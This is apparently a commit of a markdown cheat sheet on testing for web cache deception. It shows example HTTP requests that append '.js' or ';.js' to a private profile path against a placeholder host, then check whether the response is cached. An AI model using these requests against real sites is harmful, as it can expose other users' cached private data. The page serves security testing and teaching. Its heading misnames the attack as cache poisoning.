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Added Web Cache Deception

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Muhammad Daffa 2022-09-03 16:31:44 +07:00
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# Web Cache Poisoning
## Introduction
Web Cache Deception is an attack in which an attacker deceives a caching proxy into improperly storing private information sent over the internet and gaining unauthorized access to that cached data
## Where to find
`-`
## How to exploit
* Normal Request
```
GET /profile/setting HTTP/1.1
Host: www.vuln.com
```
The response is
```
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
```
1. Try to add cacheable extension (For example .js / .css / .jpg, etc.)
```
GET /profile/setting/.js HTTP/1.1
Host: www.vuln.com
```
The response is
```
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
```
If the response is success, try to open the url in the incognito mode.
2. Add `;` before the extension (For example `;.js` / `;.css` / `;.jpg`, etc.)
```
GET /profile/setting/;.js HTTP/1.1
Host: www.vuln.com
```
The response is
```
HTTP/2 200 OK
Content-Type: text/html
Cf-Cache-Status: HIT
...
```
If the response is success, try to open the url in the incognito mode.
## References
* [@bxmbn](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)